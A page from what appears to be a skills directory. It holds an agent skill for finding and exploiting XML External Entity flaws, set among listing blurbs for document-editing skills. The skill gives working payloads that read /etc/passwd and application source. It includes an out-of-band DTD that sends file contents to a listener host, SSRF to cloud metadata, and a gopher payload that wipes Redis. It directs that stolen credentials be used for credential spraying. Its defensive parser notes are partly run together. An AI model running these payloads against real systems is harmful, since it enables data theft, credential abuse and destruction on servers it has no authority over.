pptx
Create and edit slide decks, generate slides from templates, and extract text.
ANanthropics/skills203k2,822 new stars in the last 7 days
XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error.
The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>
If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.
php://filter base64 wrapper (PHP) to read source.<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;
Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.
nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).
<!DOCTYPE> → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) and setFeature("http://xml.org/sax/features/external-general-entities", false) are default in JDK 11+ / recent libraries. Check feature.setFeature("http://xml.org/sax/features/external-parameter-entities", false).XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit default in .NET 6+. XmlDocument.XmlResolver = null blocks DTD.defusedxml safe by default; lxml.etree.XMLParser(resolve_entities=False); xml.etree.ElementTree no network by default.Decoder.Entity not set = no external entities. Safe by default.DOMParser options.<!ENTITY % p SYSTEM "..."> %p;) may still work for OOB.expect / php:// / data: / jar: wrappers: If entity expansion works, try protocol handlers for SSRF/RCE.xsi:schemaLocation: xsi:schemaLocation="ns http://attacker/evil.xsd" → parser fetches XSD → SSRF.<xi:include href="http://attacker/evil.xml" parse="xml"/> — if XInclude enabled..svg (XML-based) → <image xlink:href="http://attacker/..."> or <use xlink:href="...">. .docx/.xlsx → unzip, inject into word/document.xml or xl/workbook.xml, re-zip.SAMLResponse / wst:RequestSecurityToken — signed XML; if signature validation skipped or cert trusted → XXE in assertion.file:///etc/passwd works, but http://169.254.169.254/latest/meta-data/ requires http/https scheme — some parsers block external HTTP but allow file. Try file:///proc/net/tcp for port scan.gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a → Redis flush via XXE if parser supports gopher.wsse:Security / wsse:BinarySecurityToken — if parsed separately.nuclei -tags xxe (2024): xxe-file-read, xxe-blind-oob, xxe-ssrf, xxe-svg, xxe-docx, xxe-saml.xxe-injector / XXEinjector (Ruby): Automated blind XXE exploitation with OOB DTD hosting.OXID / XML External Entity Attack Burp extension: Auto-detect + exploit.docx-xxe / xlsx-xxe scripts: Inject XXE into office docs.Create and edit slide decks, generate slides from templates, and extract text.
ANanthropics/skills203k2,822 new stars in the last 7 days
Create and edit Word docs with TOC, page numbers, headers and more.
ANanthropics/skills203k2,822 new stars in the last 7 days
Read and edit PDFs: extract text and tables, merge, split, rotate, and fill forms.
ANanthropics/skills203k2,822 new stars in the last 7 days
Co-write specs, proposals and decision docs through a structured, iterative workflow.
ANanthropics/skills203k2,822 new stars in the last 7 days
Read and edit spreadsheets: add columns, compute formulas, format, and clean messy data.
ANanthropics/skills203k2,822 new stars in the last 7 days
Create posters and visual art as PNG or PDF, guided by a design philosophy.
ANanthropics/skills203k2,822 new stars in the last 7 days